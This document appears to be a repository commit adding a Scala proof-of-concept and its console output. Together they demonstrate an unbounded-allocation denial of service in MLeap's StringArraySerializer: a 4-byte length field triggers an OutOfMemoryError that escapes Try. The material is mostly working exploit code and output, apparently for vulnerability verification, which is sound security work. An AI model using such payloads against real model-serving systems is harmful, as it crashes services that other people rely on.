Upload 2 files
Browse files- poc_dos_unbounded_alloc.scala +57 -0
- run_output.txt +89 -0
poc_dos_unbounded_alloc.scala
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import ml.combust.bundle.tensor.StringArraySerializer
|
| 2 |
+
import java.io.{ByteArrayInputStream, DataInputStream}
|
| 3 |
+
import java.nio.{ByteBuffer, ByteOrder}
|
| 4 |
+
|
| 5 |
+
val maxMem = Runtime.getRuntime.maxMemory()
|
| 6 |
+
println(s"JVM Runtime.getRuntime.maxMemory() for THIS console session = $maxMem bytes (~${maxMem / (1024*1024)} MB)")
|
| 7 |
+
|
| 8 |
+
// Choose a declared size comfortably ABOVE this JVM's actual max heap, so the allocation is
|
| 9 |
+
// guaranteed to fail deterministically against the real ceiling of this specific process,
|
| 10 |
+
// rather than relying on hitting the ~2GiB/Int.MaxValue JVM-wide array-length limit (which would
|
| 11 |
+
// require a much larger, riskier request in a shared session). Still representative of the same
|
| 12 |
+
// bug class: a 4-byte attacker payload requesting far more than is actually available.
|
| 13 |
+
val requestedSize: Int = {
|
| 14 |
+
val candidate = maxMem + 200L * 1024 * 1024 // maxMemory + 200MB, guaranteed OOM on this heap
|
| 15 |
+
if (candidate > Int.MaxValue - 16) Int.MaxValue - 16 else candidate.toInt
|
| 16 |
+
}
|
| 17 |
+
println(s"Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = $requestedSize bytes (~${requestedSize / (1024*1024)} MB)")
|
| 18 |
+
|
| 19 |
+
// Build the 4-byte payload exactly as StringArraySerializer.read expects: a big-endian Int32
|
| 20 |
+
// (java.io.DataInputStream.readInt()) followed by (in the real bug) NOT enough actual data --
|
| 21 |
+
// here we omit the string entries entirely, since the crash happens at `new Array[Byte](size)`
|
| 22 |
+
// BEFORE any subsequent bytes are read.
|
| 23 |
+
val buf = ByteBuffer.allocate(4).order(ByteOrder.BIG_ENDIAN)
|
| 24 |
+
buf.putInt(requestedSize)
|
| 25 |
+
val payload: Array[Byte] = buf.array()
|
| 26 |
+
println(s"Payload size actually present in the malicious .mleap tensor value: ${payload.length} bytes")
|
| 27 |
+
|
| 28 |
+
println("\n=== Calling the REAL library function StringArraySerializer.read(payload) directly ===")
|
| 29 |
+
|
| 30 |
+
// Mimic how the real code path calls this: TensorSerializer.fromProto wraps the call, and the
|
| 31 |
+
// library's OWN read() already uses `Try{...}` internally (ArraySerializer.scala) which is built
|
| 32 |
+
// on `scala.util.control.NonFatal` -- NonFatal explicitly excludes VirtualMachineError (the
|
| 33 |
+
// superclass of OutOfMemoryError). To verify that claim empirically, we wrap the call in BOTH:
|
| 34 |
+
// 1. a scala.util.Try (idiomatic Scala error handling, what a typical caller/framework uses)
|
| 35 |
+
// 2. a raw catch (t: Throwable) as a control, to prove the OOM DOES exist and IS catchable if
|
| 36 |
+
// you go out of your way to catch Throwable specifically (which the library code does not).
|
| 37 |
+
import scala.util.Try
|
| 38 |
+
|
| 39 |
+
print("[1] Try{ StringArraySerializer.read(payload) } ... ")
|
| 40 |
+
val tryResult = Try {
|
| 41 |
+
StringArraySerializer.read(payload)
|
| 42 |
+
}
|
| 43 |
+
tryResult match {
|
| 44 |
+
case scala.util.Success(v) => println(s"[UNEXPECTED SUCCESS] got: $v")
|
| 45 |
+
case scala.util.Failure(e) => println(s"[Try CAUGHT IT] ${e.getClass.getName}: ${e.getMessage}")
|
| 46 |
+
}
|
| 47 |
+
|
| 48 |
+
println("\n[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:")
|
| 49 |
+
try {
|
| 50 |
+
val v = StringArraySerializer.read(payload)
|
| 51 |
+
println(s"[UNEXPECTED SUCCESS] got: $v")
|
| 52 |
+
} catch {
|
| 53 |
+
case t: Throwable =>
|
| 54 |
+
println(s"[Throwable-level catch caught it] ${t.getClass.getName}: ${t.getMessage}")
|
| 55 |
+
}
|
| 56 |
+
|
| 57 |
+
println("\n=== DONE ===")
|
run_output.txt
ADDED
|
@@ -0,0 +1,89 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
|
| 2 |
+
WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
|
| 3 |
+
WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
|
| 4 |
+
WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
|
| 5 |
+
WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
|
| 6 |
+
WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
|
| 7 |
+
WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
|
| 8 |
+
WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
|
| 9 |
+
WARNING: A restricted method in java.lang.System has been called
|
| 10 |
+
WARNING: java.lang.System::load has been called by com.sun.jna.Native in an unnamed module (file:/C:/Users/user/.sbt/boot/scala-2.12.21/org.scala-sbt/sbt/1.12.5/jna-5.12.0.jar)
|
| 11 |
+
WARNING: Use --enable-native-access=ALL-UNNAMED to avoid a warning for callers in this module
|
| 12 |
+
WARNING: Restricted methods will be blocked in a future release unless native access is enabled
|
| 13 |
+
|
| 14 |
+
[info] welcome to sbt 1.12.5 (Oracle Corporation Java 24.0.1)
|
| 15 |
+
[info] loading settings for project repo-build from plugins.sbt...
|
| 16 |
+
[info] loading project definition from C:\Users\user\Documents\Framework IA\framework-ia\targets\mleap\repo\project
|
| 17 |
+
[info] loading settings for project mleap from build.sbt...
|
| 18 |
+
[info] loading settings for project mleap-base from build.sbt...
|
| 19 |
+
[info] loading settings for project bundle-ml from build.sbt...
|
| 20 |
+
[info] loading settings for project bundle-hdfs from build.sbt...
|
| 21 |
+
[info] loading settings for project mleap-tensor from build.sbt...
|
| 22 |
+
[info] loading settings for project mleap-core from build.sbt...
|
| 23 |
+
[info] loading settings for project mleap-runtime from build.sbt...
|
| 24 |
+
[info] loading settings for project mleap-avro from build.sbt...
|
| 25 |
+
[info] loading settings for project mleap-spark-base from build.sbt...
|
| 26 |
+
[info] loading settings for project mleap-spark-testkit from build.sbt...
|
| 27 |
+
[info] loading settings for project mleap-spark from build.sbt...
|
| 28 |
+
[info] loading settings for project mleap-spark-extension from build.sbt...
|
| 29 |
+
[info] loading settings for project mleap-tensorflow from build.sbt...
|
| 30 |
+
[info] loading settings for project mleap-xgboost-runtime from build.sbt...
|
| 31 |
+
[info] loading settings for project mleap-xgboost-spark from build.sbt...
|
| 32 |
+
[info] loading settings for project mleap-serving from build.sbt...
|
| 33 |
+
[info] loading settings for project mleap-executor from build.sbt...
|
| 34 |
+
[info] loading settings for project mleap-executor-testkit from build.sbt...
|
| 35 |
+
[info] loading settings for project mleap-executor-tests from build.sbt...
|
| 36 |
+
[info] loading settings for project mleap-repository-s3 from build.sbt...
|
| 37 |
+
[info] loading settings for project mleap-grpc from build.sbt...
|
| 38 |
+
[info] loading settings for project mleap-grpc-server from build.sbt...
|
| 39 |
+
[info] loading settings for project mleap-benchmark from build.sbt...
|
| 40 |
+
[info] loading settings for project mleap-spring-boot from build.sbt...
|
| 41 |
+
[info] loading settings for project mleap-databricks-runtime-fat from build.sbt...
|
| 42 |
+
[info] loading settings for project mleap-databricks-runtime from build.sbt...
|
| 43 |
+
[info] loading settings for project mleap-databricks-runtime-testkit from build.sbt...
|
| 44 |
+
[info] resolving key references (31183 settings) ...
|
| 45 |
+
[info] set current project to mleap (in build file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/repo/)
|
| 46 |
+
[info] Installing the s3:// URLStreamHandler via java.net.URL.setURLStreamHandlerFactory
|
| 47 |
+
[info] Creating a new Ivy URLHandlerDispatcher to handle s3:// URLs
|
| 48 |
+
Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
|
| 49 |
+
Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
|
| 50 |
+
Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
|
| 51 |
+
Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
|
| 52 |
+
[info] Starting scala interpreter...
|
| 53 |
+
Welcome to Scala 2.13.18 (Java HotSpot(TM) 64-Bit Server VM, Java 24.0.1).
|
| 54 |
+
Type in expressions for evaluation. Or try :help.
|
| 55 |
+
[?2004h>....import ml.combust.bundle.tensor.StringArraySerializer
|
| 56 |
+
[?2004h>....import java.io.{ByteArrayInputStream, DataInputStream}
|
| 57 |
+
[?2004h>....import java.nio.{ByteBuffer, ByteOrder}
|
| 58 |
+
[?2004h>....[?2004h>....val maxMem: Long = 1073741824
|
| 59 |
+
[?2004h>....JVM Runtime.getRuntime.maxMemory() for THIS console session = 1073741824 bytes (~1024 MB)
|
| 60 |
+
[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....val requestedSize: Int = 1283457024
|
| 61 |
+
[?2004h>....Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = 1283457024 bytes (~1224 MB)
|
| 62 |
+
[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....val buf: java.nio.ByteBuffer = java.nio.HeapByteBuffer[pos=0 lim=4 cap=4]
|
| 63 |
+
[?2004h>....val res2: java.nio.ByteBuffer = java.nio.HeapByteBuffer[pos=4 lim=4 cap=4]
|
| 64 |
+
[?2004h>....val payload: Array[Byte] = Array(76, -128, 0, 0)
|
| 65 |
+
[?2004h>....Payload size actually present in the malicious .mleap tensor value: 4 bytes
|
| 66 |
+
[?2004h>....[?2004h>....
|
| 67 |
+
=== Calling the REAL library function StringArraySerializer.read(payload) directly ===
|
| 68 |
+
[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....import scala.util.Try
|
| 69 |
+
[?2004h>....[?2004h>....[1] Try{ StringArraySerializer.read(payload) } ... [?2004h>....java.lang.OutOfMemoryError: Java heap space
|
| 70 |
+
at ml.combust.bundle.tensor.StringArraySerializer$.$anonfun3(ArraySerializer.scala:163)
|
| 71 |
+
at ml.combust.bundle.tensor.StringArraySerializer$$$Lambda/0x00000200a319d6a8.apply(Unknown Source)
|
| 72 |
+
at scala.util.Try$.apply(Try.scala:217)
|
| 73 |
+
at ml.combust.bundle.tensor.StringArraySerializer$.$anonfun2(ArraySerializer.scala:161)
|
| 74 |
+
at ml.combust.bundle.tensor.StringArraySerializer$$$Lambda/0x00000200a319d2d0.apply(Unknown Source)
|
| 75 |
+
at scala.util.Using$.apply(Using.scala:296)
|
| 76 |
+
at ml.combust.bundle.tensor.StringArraySerializer$.read(ArraySerializer.scala:155)
|
| 77 |
+
at $anonfun$tryResult$1(<console>:2)
|
| 78 |
+
at $Lambda/0x00000200a3195108.apply(Unknown Source)
|
| 79 |
+
at scala.util.Try$.apply(Try.scala:217)
|
| 80 |
+
... 22 elided
|
| 81 |
+
[?2004h>.... ^
|
| 82 |
+
error: not found: value tryResult
|
| 83 |
+
[?2004h>....[?2004h>....
|
| 84 |
+
[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:
|
| 85 |
+
[?2004h>....[Throwable-level catch caught it] java.lang.OutOfMemoryError: Java heap space
|
| 86 |
+
[?2004h>....[?2004h>....
|
| 87 |
+
=== DONE ===
|
| 88 |
+
[?2004h>....
|
| 89 |
+
[success] Total time: 13 s, completed 23 jul 2026, 10:28:47
|